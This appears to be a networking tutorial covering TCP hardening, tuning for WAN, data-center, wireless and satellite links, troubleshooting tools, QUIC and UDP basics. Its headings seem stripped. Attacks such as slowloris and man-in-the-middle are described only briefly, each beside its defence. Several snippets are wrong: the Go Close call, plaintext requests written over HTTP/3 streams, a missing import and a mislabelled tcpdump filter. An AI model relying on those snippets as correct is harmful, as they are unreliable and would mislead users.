sudo iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP  # Null scan
sudo iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP   # XMAS scan

# Log SYN packets (potential scanning)
sudo iptables -A INPUT -p tcp --syn -j LOG --log-prefix "SYN packet: "

# Rate limit new connections
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT

Attack method:
1. Open many TCP connections to server
2. Send partial HTTP requests very slowly
3. Server keeps connections open waiting for complete request
4. Exhaust server's connection pool

Defense:
1. Connection timeout limits
2. Request timeout limits
3. Limit connections per IP
4. Use reverse proxy with timeout handling

import socket

def slowloris_resistant_server():
    """
    Server with defenses against slowloris
    """
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', 8080))
    server.listen(100)

    while True:
        client, addr = server.accept()

        # Set aggressive timeouts
        client.settimeout(10.0)  # 10 second timeout

        try:
            # Set deadline for receiving complete request
            data = b""
            while b"\r\n\r\n" not in data:
                chunk = client.recv(1024)
                if not chunk:
                    break
                data += chunk

                # Limit request size
                if len(data) > 16384:  # 16KB max
                    client.close()
                    break

        except socket.timeout:
            print(f"Slow client from {addr} timed out")
            client.close()

Attack scenario:
1. Attacker positions between client and server
2. Intercepts all TCP packets
3. Can read, modify, or drop packets
4. Appears transparent to both endpoints

Prevention:
1. Use TLS/SSL encryption
2. Certificate pinning
3. Mutual authentication
4. VPN or IPsec

import socket
import ssl

def secure_tcp_connection(hostname, port):
    """
    Establish secure TLS connection to prevent MITM
    """
    # Create regular socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Wrap with TLS
    context = ssl.create_default_context()

    # Enable hostname checking
    context.check_hostname = True
    context.verify_mode = ssl.CERT_REQUIRED

    # Create secure connection
    secure_sock = context.wrap_socket(sock, server_hostname=hostname)
    secure_sock.connect((hostname, port))

    print(f"Secure connection established")
    print(f"Cipher: {secure_sock.cipher()}")
    print(f"Protocol: {secure_sock.version()}")

    return secure_sock

# Example usage
try:
    sock = secure_tcp_connection('example.com', 443)
    sock.sendall(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
    response = sock.recv(4096)
    sock.close()
except ssl.SSLError as e:
    print(f"SSL Error: {e}")
    print("Possible MITM attack or certificate issue")

Attack (mostly historical):
1. Observe sequence number patterns
2. Predict next sequence number
3. Inject forged packets

Modern defenses:
- Random ISN generation (RFC 6528)
- Timestamp option for better randomization
- TCP MD5 signature option (BGP)

# Verify strong sequence number generation
sysctl net.ipv4.tcp_timestamps  # Should be 1

# For BGP and other critical protocols, use TCP MD5
# Configured per-connection with SO_TCP_MD5SIG

import socket
import ssl

def create_secure_tcp_client():
    """
    Example of security-hardened TCP client
    """
    # Create socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Set timeouts to prevent hanging
    sock.settimeout(30.0)

    # For TLS connections
    context = ssl.create_default_context()

    # Enforce TLS 1.2+
    context.minimum_version = ssl.TLSVersion.TLSv1_2

    # Disable compression (CRIME attack prevention)
    context.options |= ssl.OP_NO_COMPRESSION

    # Enable hostname verification
    context.check_hostname = True
    context.verify_mode = ssl.CERT_REQUIRED

    return sock, context

def create_secure_tcp_server():
    """
    Example of security-hardened TCP server
    """
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Allow reuse
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # Bind to specific interface (not 0.0.0.0 if possible)
    server.bind(('127.0.0.1', 8080))

    # Reasonable backlog
    server.listen(128)

    # Set timeout
    server.settimeout(5.0)

    return server

Challenges:
- High bandwidth × delay product (BDP)
- Large buffer requirements
- Window scaling essential
- Packet loss has severe impact

BDP Example:
- Bandwidth: 1 Gbps
- RTT: 100ms
- BDP = 1 Gbps × 0.1s = 100 Mb = 12.5 MB
- Need 12.5 MB window to fully utilize bandwidth!

Solutions:
1. Enable window scaling
2. Increase buffer sizes
3. Use CUBIC or BBR congestion control
4. Enable SACK
5. Consider TCP Fast Open

# Optimize TCP for WAN
sudo sysctl -w net.ipv4.tcp_window_scaling=1
sudo sysctl -w net.ipv4.tcp_sack=1
sudo sysctl -w net.core.rmem_max=134217728   # 128MB
sudo sysctl -w net.core.wmem_max=134217728
sudo sysctl -w net.ipv4.tcp_rmem="4096 87380 67108864"  # 64MB
sudo sysctl -w net.ipv4.tcp_wmem="4096 65536 67108864"

# Use BBR congestion control (better for long-distance)
sudo sysctl -w net.ipv4.tcp_congestion_control=bbr

import socket

def configure_for_wan():
    """
    Configure TCP socket for WAN transfer
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Large buffers for high BDP
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 16 * 1024 * 1024)  # 16MB
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 16 * 1024 * 1024)

    # Disable Nagle for better latency
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

    # Enable keepalive for long-lived connections
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

    return sock

Characteristics:
- Very low latency (< 1ms)
- High bandwidth (10/25/100 Gbps)
- Low packet loss
- Many concurrent connections
- Incast problem

Incast problem:
Many senders -> Single receiver simultaneously
Causes buffer overflow and packet loss
Severely reduces throughput

Solutions:
1. Use DCTCP (Data Center TCP)
2. Reduce RTO minimum
3. ECN (Explicit Congestion Notification)
4. Priority queuing

# Optimize for data center
sudo sysctl -w net.ipv4.tcp_congestion_control=dctcp

# Enable ECN
sudo sysctl -w net.ipv4.tcp_ecn=1

# Reduce RTO min for fast retransmission
sudo sysctl -w net.ipv4.tcp_rto_min=10  # 10ms

# Increase connection tracking
sudo sysctl -w net.core.somaxconn=4096
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=8192

Challenges:
- Variable latency
- Higher packet loss (not always congestion)
- Handoff between access points
- Limited bandwidth
- Battery concerns

Problem:
TCP interprets wireless packet loss as congestion
Reduces congestion window unnecessarily
Performance suffers

Solutions:
1. Use loss differentiation
2. Link-layer retransmission
3. TCP Westwood (wireless-aware)
4. Explicit Loss Notification

# Optimize for wireless (Linux)
# Use Westwood or CUBIC
sudo sysctl -w net.ipv4.tcp_congestion_control=westwood

# More aggressive retransmission
sudo sysctl -w net.ipv4.tcp_retries1=2
sudo sysctl -w net.ipv4.tcp_retries2=8

# Enable timestamps for better RTT estimation
sudo sysctl -w net.ipv4.tcp_timestamps=1

Characteristics:
- Very high latency (500-700ms RTT)
- High bandwidth
- Occasional errors
- Asymmetric links

Issues:
- Huge BDP (bandwidth × delay)
- ACK packets delayed
- Window size limitations
- Timeout issues

Solutions:
1. Large TCP windows
2. SACK essential
3. ACK reduction
4. Header compression
5. Consider PEP (Performance Enhancing Proxies)

# Optimize for satellite
sudo sysctl -w net.ipv4.tcp_window_scaling=1  # Essential
sudo sysctl -w net.ipv4.tcp_sack=1            # Essential

# Very large buffers
sudo sysctl -w net.core.rmem_max=268435456    # 256MB
sudo sysctl -w net.core.wmem_max=268435456
sudo sysctl -w net.ipv4.tcp_rmem="4096 87380 134217728"
sudo sysctl -w net.ipv4.tcp_wmem="4096 65536 134217728"

# Increase RTO max for high latency
sudo sysctl -w net.ipv4.tcp_retries2=8

package main

import (
    "fmt"
    "net"
    "time"
)

func main() {
    // Configure TCP dialer
    dialer := &net.Dialer{
        Timeout:   30 * time.Second,
        KeepAlive: 30 * time.Second,
    }

    // Connect to server
    conn, err := dialer.Dial("tcp", "example.com:80")
    if err != nil {
        fmt.Printf("Connection failed: %v\n", err)
        return
    }
    defer conn.close()

    // Set deadlines
    conn.SetDeadline(time.Now().Add(10 * time.Second))

    // Send data
    message := []byte("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
    _, err = conn.Write(message)
    if err != nil {
        fmt.Printf("Write failed: %v\n", err)
        return
    }

    // Receive response
    buffer := make([]byte, 4096)
    n, err := conn.Read(buffer)
    if err != nil {
        fmt.Printf("Read failed: %v\n", err)
        return
    }

    fmt.Printf("Received %d bytes\n", n)
}

const net = require('net');

// TCP Client
const client = net.createConnection({ port: 80, host: 'example.com' }, () => {
    console.log('Connected to server');

    // Send data
    client.write('GET / HTTP/1.1\r\nHost: example.com\r\n\r\n');
});

// Handle data
client.on('data', (data) => {
    console.log(`Received: ${data.length} bytes`);
    client.end();
});

// Handle errors
client.on('error', (err) => {
    console.error(`Connection error: ${err.message}`);
});

// Handle close
client.on('end', () => {
    console.log('Disconnected from server');
});

// Set timeout
client.setTimeout(5000, () => {
    console.log('Connection timeout');
    client.destroy();
});

use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;

fn main() -> std::io::Result<()> {
    // Connect to server
    let mut stream = TcpStream::connect("example.com:80")?;

    // Set timeouts
    stream.set_read_timeout(Some(Duration::from_secs(10)))?;
    stream.set_write_timeout(Some(Duration::from_secs(10)))?;

    // Enable TCP_NODELAY
    stream.set_nodelay(true)?;

    // Send data
    let request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n";
    stream.write_all(request)?;

    // Receive response
    let mut buffer = [0; 4096];
    let n = stream.read(&mut buffer)?;

    println!("Received {} bytes", n);

    Ok(())
}
import asyncio

async def handle_client(reader, writer):
    """
    Handle client connection asynchronously
    """
    addr = writer.get_extra_info('peername')
    print(f"Connection from {addr}")

    try:
        # Read data
        data = await asyncio.wait_for(reader.read(1024), timeout=10.0)
        message = data.decode()
        print(f"Received: {message}")

        # Process and respond
        response = f"Echo: {message}"
        writer.write(response.encode())
        await writer.drain()

    except asyncio.TimeoutError:
        print(f"Client {addr} timed out")

    except Exception as e:
        print(f"Error handling client {addr}: {e}")

    finally:
        # Close connection
        writer.close()
        await writer.wait_closed()

async def main():
    """
    Run async TCP server
    """
    server = await asyncio.start_server(
        handle_client,
        '0.0.0.0',
        8080,
        backlog=100
    )

    addr = server.sockets[0].getsockname()
    print(f"Serving on {addr}")

    async with server:
        await server.serve_forever()

# Run server
if __name__ == '__main__':
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Server stopped")

import socket
import queue
import threading
import time

class TCPConnectionPool:
    """
    Simple TCP connection pool
    """
    def __init__(self, host, port, pool_size=5):
        self.host = host
        self.port = port
        self.pool_size = pool_size
        self.pool = queue.Queue(maxsize=pool_size)
        self.lock = threading.Lock()
        self._initialize_pool()

    def _initialize_pool(self):
        """Create initial connections"""
        for _ in range(self.pool_size):
            conn = self._create_connection()
            if conn:
                self.pool.put(conn)

    def _create_connection(self):
        """Create a new TCP connection"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(30.0)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            sock.connect((self.host, self.port))
            return sock
        except Exception as e:
            print(f"Failed to create connection: {e}")
            return None

    def get_connection(self, timeout=5.0):
        """Get connection from pool"""
        try:
            conn = self.pool.get(timeout=timeout)

            # Verify connection is alive
            if not self._is_connection_alive(conn):
                conn.close()
                conn = self._create_connection()

            return conn

        except queue.Empty:
            # Pool exhausted, create new connection
            return self._create_connection()

    def return_connection(self, conn):
        """Return connection to pool"""
        if conn and self._is_connection_alive(conn):
            try:
                self.pool.put_nowait(conn)
            except queue.Full:
                # Pool full, close connection
                conn.close()
        elif conn:
            conn.close()

    def _is_connection_alive(self, conn):
        """Check if connection is still alive"""
        try:
            # Try to get socket error
            error = conn.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR)
            return error == 0
        except:
            return False

    def close_all(self):
        """Close all connections in pool"""
        while not self.pool.empty():
            try:
                conn = self.pool.get_nowait()
                conn.close()
            except queue.Empty:
                break

# Example usage
pool = TCPConnectionPool('example.com', 80, pool_size=10)

def worker():
    """Worker thread using connection pool"""
    conn = pool.get_connection()
    if conn:
        try:
            conn.sendall(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
            response = conn.recv(4096)
            print(f"Received {len(response)} bytes")
        finally:
            pool.return_connection(conn)

# Create multiple workers
threads = []
for _ in range(20):
    t = threading.Thread(target=worker)
    t.start()
    threads.append(t)

# Wait for completion
for t in threads:
    t.join()

pool.close_all()

# Check TCP statistics
ss -ti dst example.com

# Look for:
# - Small cwnd (congestion window)
# - High retransmissions
# - Small advertised window

# Check for bufferbloat
ping -c 100 example.com | tail -20

# Monitor real-time latency during transfer
while true; do ping -c 1 -W 1 example.com | grep time; sleep 0.5; done

import socket

# Solution 1: Enable TCP_NODELAY (disable Nagle)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

# Solution 2: Increase buffer sizes
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2 * 1024 * 1024)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2 * 1024 * 1024)

# Solution 3: Check for bufferbloat in network equipment
# Use different congestion control (BBR is better for bufferbloat)

# System-wide fixes
sudo sysctl -w net.ipv4.tcp_congestion_control=bbr
sudo sysctl -w net.core.default_qdisc=fq

# Check if NAT or firewall has short timeout
# Monitor connection from both ends
watch -n 1 'ss -tan | grep ESTABLISHED'

# Check for middle boxes dropping idle connections
sudo tcpdump -i any -n 'tcp[tcpflags] & (tcp-rst) != 0'

import socket

def configure_keepalive_for_nat(sock):
    """
    Configure keepalive to prevent NAT timeout
    Most NATs timeout after 60-300 seconds
    """
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

    # Send probe after 30 seconds of idle time
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)

    # Send probes every 10 seconds
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)

    # Send 3 probes before giving up
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)

    return sock

# Alternative: Application-level heartbeat
import time
import threading

def send_heartbeat(sock):
    """
    Application-level keepalive
    """
    while True:
        try:
            sock.sendall(b"PING\n")
            time.sleep(30)  # Every 30 seconds
        except:
            break

# Start heartbeat thread
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('example.com', 8080))
threading.Thread(target=send_heartbeat, args=(sock,), daemon=True).start()

# Count TIME_WAIT connections
ss -tan state time-wait | wc -l

# Show TIME_WAIT by remote host
ss -tan state time-wait | awk '{print $5}' | sort | uniq -c | sort -rn | head -10

# Check local port exhaustion
cat /proc/sys/net/ipv4/ip_local_port_range

# 1. Increase local port range
sudo sysctl -w net.ipv4.ip_local_port_range="1024 65535"

# 2. Enable TIME_WAIT reuse (safe for clients)
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

# 3. Reduce FIN timeout (careful!)
sudo sysctl -w net.ipv4.tcp_fin_timeout=30

# 4. Use connection pooling instead of opening/closing frequently

# Application-level solution: Connection pooling
from urllib3 import PoolManager

# Reuse connections instead of creating new ones
http = PoolManager(
    maxsize=10,  # Pool size
    block=True,  # Block when pool is full
    timeout=30.0
)

# Make requests using pool
response = http.request('GET', 'http://example.com/')

# Check MTU issues
ping -M do -s 1472 vpn-host  # 1472 + 28 = 1500
ping -M do -s 1400 vpn-host  # Try smaller

# If 1472 fails but 1400 works, you have MTU issue

# Check current MTU
ip link show | grep mtu

# Measure path MTU
tracepath vpn-host

# 1. Reduce MTU on VPN interface
sudo ip link set dev tun0 mtu 1400

# 2. Enable TCP MSS clamping (on VPN server)
sudo iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu

# 3. Force MSS in application

import socket

def configure_for_vpn(sock):
    """
    Configure socket for VPN connection
    """
    # Set smaller MSS for VPN
    try:
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 1360)
    except:
        pass  # Not supported on all platforms

    # Use larger buffers to compensate for latency
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)

    return sock

# Check retransmission statistics
netstat -s | grep retransmit

# Monitor in real-time
watch -n 1 'netstat -s | grep retransmit'

# Detailed per-connection retransmission info
ss -ti | grep -A 2 retrans

# Capture retransmissions with tcpdump
sudo tcpdump -i any -w retrans.pcap 'tcp[tcpflags] & tcp-syn != 0 or tcp[13] & 8 != 0'

# Analyze with Wireshark filter
# tcp.analysis.retransmission

# 1. Check for duplex mismatch (common cause)
ethtool eth0 | grep -i duplex
sudo ethtool -s eth0 speed 1000 duplex full autoneg on

# 2. Check for congestion
sar -n DEV 1 10  # Monitor interface utilization

# 3. Adjust congestion control
sudo sysctl -w net.ipv4.tcp_congestion_control=bbr

# 4. Increase buffers if needed
sudo sysctl -w net.core.rmem_max=16777216
sudo sysctl -w net.core.wmem_max=16777216

import socket
import time

def diagnose_slow_connect(host, port):
    """
    Diagnose slow connection issues
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5.0)

    try:
        print(f"Attempting connection to {host}:{port}")
        start = time.time()

        sock.connect((host, port))

        elapsed = time.time() - start
        print(f"Connected in {elapsed:.2f} seconds")

        if elapsed > 1.0:
            print("WARNING: Slow connection (> 1 second)")
            print("Possible causes:")
            print("- DNS resolution slow")
            print("- Firewall dropping SYN packets")
            print("- Server overloaded")
            print("- Network congestion")

    except socket.timeout:
        print(f"Connection timeout after {time.time() - start:.2f}s")
        print("Check if:")
        print("1. Host is reachable: ping", host)
        print("2. Port is open: telnet", host, port)
        print("3. Firewall blocking: check iptables/firewall rules")

    except ConnectionRefusedError:
        print("Connection refused - port is closed")

    except socket.gaierror as e:
        print(f"DNS resolution failed: {e}")

    finally:
        sock.close()

# Test
diagnose_slow_connect('example.com', 80)

# 1. Test DNS resolution
time nslookup example.com
# If slow, use different DNS or add to /etc/hosts

# 2. Test network path
traceroute example.com
mtr example.com  # Better tool

# 3. Test specific port
timeout 5 bash -c "</dev/tcp/example.com/80" && echo "Port open" || echo "Port closed"

# 4. Check firewall
sudo iptables -L -n | grep 80

# 5. Use shorter timeout in application

# Better connection handling
import socket

def robust_connect(host, port, timeout=5):
    """
    Robust connection with proper error handling
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)

    try:
        sock.connect((host, port))
        return sock
    except socket.timeout:
        print(f"Timeout connecting to {host}:{port}")
        raise
    except ConnectionRefusedError:
        print(f"Connection refused by {host}:{port}")
        raise
    except socket.gaierror as e:
        print(f"DNS error for {host}: {e}")
        raise
    except Exception as e:
        print(f"Unexpected error: {e}")
        raise

import socket
import time
import statistics

def benchmark_connection(host, port, iterations=10):
    """
    Benchmark TCP connection performance
    """
    connect_times = []
    transfer_times = []

    for i in range(iterations):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10.0)

        # Measure connect time
        start = time.time()
        try:
            sock.connect((host, port))
            connect_time = time.time() - start
            connect_times.append(connect_time)

            # Measure transfer time
            request = b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n"
            start = time.time()
            sock.sendall(request)
            data = sock.recv(1024)
            transfer_time = time.time() - start
            transfer_times.append(transfer_time)

        except Exception as e:
            print(f"Iteration {i+1} failed: {e}")

        finally:
            sock.close()

        time.sleep(0.5)  # Small delay between tests

    # Analyze results
    if connect_times:
        print(f"\nConnect time stats (n={len(connect_times)}):")
        print(f"  Mean: {statistics.mean(connect_times)*1000:.2f}ms")
        print(f"  Median: {statistics.median(connect_times)*1000:.2f}ms")
        print(f"  Stdev: {statistics.stdev(connect_times)*1000:.2f}ms")
        print(f"  Min: {min(connect_times)*1000:.2f}ms")
        print(f"  Max: {max(connect_times)*1000:.2f}ms")

    if transfer_times:
        print(f"\nTransfer time stats (n={len(transfer_times)}):")
        print(f"  Mean: {statistics.mean(transfer_times)*1000:.2f}ms")
        print(f"  Median: {statistics.median(transfer_times)*1000:.2f}ms")
        print(f"  Stdev: {statistics.stdev(transfer_times)*1000:.2f}ms")

# Run benchmark
benchmark_connection('example.com', 80, iterations=20)

# Essential TCP debugging tools

# 1. ss - Socket statistics (modern replacement for netstat)
ss -tan                    # All TCP connections
ss -tln                    # Listening TCP ports
ss -ti                     # Show TCP internals (timers, etc.)
ss -tm                     # Show socket memory usage

# 2. tcpdump - Packet capture
sudo tcpdump -i any port 80 -n -A           # Capture port 80, show ASCII
sudo tcpdump -i any -w capture.pcap         # Save to file
sudo tcpdump -r capture.pcap -n             # Read from file
sudo tcpdump 'tcp[tcpflags] & tcp-syn != 0' # Capture SYN packets

# 3. netstat - Network statistics
netstat -s                 # Protocol statistics
netstat -s | grep -i retrans   # Retransmission stats
netstat -i                 # Interface statistics

# 4. nstat - Network statistics delta
nstat -az                  # Show all stats since last reset
nstat TcpRetransSegs       # Monitor specific counter

# 5. iperf3 - Network performance testing
iperf3 -s                  # Server mode
iperf3 -c server_ip        # Client mode

# 6. mtr - Network path analysis
mtr example.com            # Interactive traceroute

# 7. socat - Advanced TCP tool
socat -v TCP-LISTEN:8080,fork EXEC:/bin/cat   # Debug server
socat - TCP:example.com:80                     # Simple client

# 8. lsof - List open files/sockets
sudo lsof -i TCP:80        # What's using port 80
sudo lsof -i -n -P         # All network connections

# 9. strace - System call tracing
strace -e trace=network nc example.com 80  # Trace network calls
strace -p <pid> -e trace=network           # Attach to process

1. Head-of-line blocking
   - One lost packet blocks entire stream
   - All data waits for retransmission

2. Slow connection establishment
   - TCP handshake: 1 RTT
   - TLS handshake: 1-2 RTTs
   - Total: 2-3 RTTs before sending data

3. Ossification
   - Middleboxes break TCP extensions
   - Hard to deploy improvements

4. No built-in encryption
   - TLS is separate layer
   - More complexity

1. Built on UDP
   - Avoids middlebox interference
   - Userspace implementation (faster updates)

2. Multiplexed streams
   - Multiple streams per connection
   - No head-of-line blocking between streams

3. 0-RTT connection establishment
   - Resume previous connections instantly
   - Send data in first packet

4. Built-in encryption (TLS 1.3)
   - Always encrypted
   - No plaintext handshake

5. Connection migration
   - Survives IP address changes
   - Mobile network switching

6. Improved congestion control
   - More accurate RTT measurement
   - Better loss detection

QUIC Stack:
┌─────────────────────────┐
│   HTTP/3 Application    │
├─────────────────────────┤
│   QUIC Transport        │
│   - Streams             │
│   - Flow control        │
│   - Congestion control  │
├─────────────────────────┤
│   TLS 1.3 (built-in)    │
├─────────────────────────┤
│   UDP                   │
└─────────────────────────┘

vs

Traditional Stack:
┌─────────────────────────┐
│   HTTP/1.1 or HTTP/2    │
├─────────────────────────┤
│   TLS 1.2/1.3          │
├─────────────────────────┤
│   TCP                   │
├─────────────────────────┤
│   IP                    │
└─────────────────────────┘

Client                          Server
  |                               |
  | TCP SYN ------------------>   |
  | <------------------ SYN-ACK   |
  | ACK ---------------------->   |  [1 RTT]
  |                               |
  | ClientHello -------------->   |
  | <-------- ServerHello, etc    |
  | Finished ----------------->   |  [1-2 RTTs]
  |                               |
  | HTTP Request ------------->   |
  | <------------ HTTP Response   |

Client                          Server
  |                               |
  | Initial (ClientHello) ---->   |
  | <-- Initial/Handshake/1-RTT  |  [1 RTT for new connection]
  | Handshake ---------------->   |
  |                               |
  | HTTP Request ------------->   |
  | <------------ HTTP Response   |

With 0-RTT resumption:
  |                               |
  | Initial + 0-RTT Data ------>  |  [0 RTT!]
  | <-- Initial/Handshake/1-RTT  |

TCP Stream: [Stream1][Stream2][Stream3]
                ↓
If packet containing Stream2 data is lost:
    Stream1 data blocked ✗
    Stream2 data blocked ✗
    Stream3 data blocked ✗
All streams wait for retransmission!

QUIC Connection:
    Stream 1: [Data][Data][Data] ✓
    Stream 2: [Data][LOST][Data] ✗
    Stream 3: [Data][Data][Data] ✓

If packet containing Stream2 data is lost:
    Stream1 continues ✓
    Stream2 waits ✗
    Stream3 continues ✓
Only affected stream blocks!

import asyncio
from aioquic.asyncio import connect
from aioquic.quic.configuration import QuicConfiguration

async def quic_client():
    """
    QUIC client example using aioquic
    """
    # Configure QUIC
    configuration = QuicConfiguration(
        alpn_protocols=["h3"],  # HTTP/3
        is_client=True,
    )

    # Connect to server (0-RTT if resuming)
    async with connect(
        "quic.example.com",
        443,
        configuration=configuration,
    ) as client:
        # Send HTTP/3 request
        reader, writer = await client.create_stream()

        request = b"GET / HTTP/3\r\nHost: example.com\r\n\r\n"
        writer.write(request)
        await writer.drain()

        # Read response
        response = await reader.read()
        print(f"Received: {len(response)} bytes")

# Run
asyncio.run(quic_client())

const { createQuicSocket } = require('net');

// Create QUIC socket
const socket = createQuicSocket({ endpoint: { port: 0 } });

// Connect to server
const client = socket.connect({
  address: 'quic.example.com',
  port: 443,
  alpn: 'h3',  // HTTP/3
});

// Handle stream
client.on('stream', (stream) => {
  stream.on('data', (data) => {
    console.log(`Received: ${data.length} bytes`);
  });
});

// Create stream and send request
const stream = client.openStream();
stream.write('GET / HTTP/3\r\nHost: example.com\r\n\r\n');

import asyncio
from aioquic.asyncio import connect
from aioquic.quic.configuration import QuicConfiguration

async def demonstrate_migration():
    """
    QUIC survives network changes
    """
    configuration = QuicConfiguration(is_client=True)

    async with connect(
        "example.com",
        443,
        configuration=configuration,
    ) as client:
        # Create stream
        reader, writer = await client.create_stream()

        # Send data
        writer.write(b"Request 1")
        await writer.drain()

        # Network changes (WiFi -> 4G)
        # Client IP address changes
        # But connection continues!

        # QUIC automatically migrates using connection ID
        # No interruption to application

        # Continue using same stream
        writer.write(b"Request 2")
        await writer.drain()

        # Connection still works!

# Check if server supports QUIC/HTTP/3
curl -I --http3 https://www.google.com

# Major deployments:
# - Google (all services)
# - Facebook/Meta
# - Cloudflare
# - Fastly
# - LiteSpeed servers

# Browser support:
# - Chrome/Edge: Full support
# - Firefox: Full support
# - Safari: Full support (iOS 14.5+)

# Check QUIC support in browser:
# chrome://flags/#enable-quic

# Install quiche (Cloudflare's QUIC implementation)
git clone --recursive https://github.com/cloudflare/quiche
cd quiche

# Build HTTP/3 client
cargo build --release --examples

# Test QUIC connection
./target/release/examples/http3-client https://quic.tech:8443/

# Compare TCP vs QUIC
time curl https://example.com  # TCP
time curl --http3 https://example.com  # QUIC

# Use h2load for benchmarking
h2load -n 1000 -c 10 https://example.com  # HTTP/2 over TCP
h2load -n 1000 -c 10 --h3 https://example.com  # HTTP/3 over QUIC

Available algorithms:
1. CUBIC (default, similar to TCP)
2. BBR (Bottleneck Bandwidth and RTT)
3. Reno (classic TCP algorithm)
4. NewReno

Advantages over TCP:
- More accurate RTT measurement
- Better loss detection
- Faster convergence
- ACK frequency optimization

from aioquic.quic.configuration import QuicConfiguration

config = QuicConfiguration()

# Use BBR congestion control
config.congestion_control_algorithm = "bbr"

# Or CUBIC
config.congestion_control_algorithm = "cubic"

1. Always encrypted (TLS 1.3)
   - No plaintext handshake
   - Forward secrecy by default

2. Connection ID
   - Prevents address spoofing
   - Enables connection migration

3. Packet protection
   - Header protection
   - Payload encryption

4. Version negotiation
   - Protected against downgrade attacks

5. Retry packets
   - DDoS mitigation
   - Similar to SYN cookies

1. UDP blocking
   - Some networks block UDP
   - Fallback to TCP still needed

2. CPU overhead
   - Userspace implementation
   - More processing required
   - Battery impact on mobile

3. Middlebox issues
   - Some firewalls drop QUIC
   - NAT traversal complexity

4. Maturity
   - Newer protocol
   - Fewer debugging tools
   - Less operational experience

5. OS support
   - Not kernel-integrated (yet)
   - Inconsistent across platforms

TCP will remain important for:
- Legacy systems and protocols
- Environments blocking UDP
- Low-overhead requirements
- IoT and embedded systems

QUIC adoption growing for:
- Web browsing (HTTP/3)
- Video streaming
- Real-time communications
- Mobile applications
- API services

Convergence:
- TCP improvements inspired by QUIC
- QUIC learning from TCP experience
- Coexistence rather than replacement

 0      7 8     15 16    23 24    31
+--------+--------+--------+--------+
|     Source      |   Destination   |
|      Port       |      Port       |
+--------+--------+--------+--------+
|                 |                 |
|     Length      |    Checksum     |
+--------+--------+--------+--------+
|                                   |
|          Data octets ...          |
+-----------------------------------+

Source Port: 53210 (0xCFCA)
Destination Port: 53 (0x0035) - DNS
Length: 512 bytes
Checksum: 0x1A2B

CF CA 00 35 02 00 1A 2B
[... 504 bytes of data ...]

Application → Socket → UDP Layer → IP Layer → Network

1. Application writes data to UDP socket
2. UDP adds 8-byte header
3. UDP passes datagram to IP layer
4. IP sends packet to destination
5. No acknowledgment expected

Network → IP Layer → UDP Layer → Socket → Application

1. IP receives packet
2. IP passes to UDP based on protocol number (17)
3. UDP validates checksum (if present)
4. UDP delivers to application based on port
5. If port not listening, send ICMP "Port Unreachable"

Client                          Server (port 9000)
  |                                |
  |  UDP Packet (Hello)            |
  |------------------------------->|
  |                                |
  |  UDP Packet (World)            |
  |------------------------------->|
  |                                |

No handshake, no acknowledgment

Client                          Server
  |                                |
  |  DNS Query (Port 53)           |
  |------------------------------->|
  |                                |
  |  DNS Response                  |
  |<-------------------------------|
  |                                |

Application must handle timeouts and retries

+--------+--------+--------+--------+
|          Source IP Address        |
+--------+--------+--------+--------+
|       Destination IP Address      |
+--------+--------+--------+--------+
|  zero  |Protocol| UDP Length      |
+--------+--------+--------+--------+

def calculate_checksum(data):
    # Sum all 16-bit words
    total = sum(struct.unpack("!%dH" % (len(data)//2), data))

    # Add carry
    total = (total >> 16) + (total & 0xffff)
    total += (total >> 16)

    # One's complement
    return ~total & 0xffff

Client sends UDP query to port 53:
+----------------+
| DNS Query      |
| example.com?   |
+----------------+

Server responds:
+----------------+
| DNS Response   |
| 93.184.216.34  |
+----------------+

Fast lookup, retry if no response

Server sends video frames continuously:
Frame 1 → Frame 2 → Frame 3 → Frame 4 → Frame 5

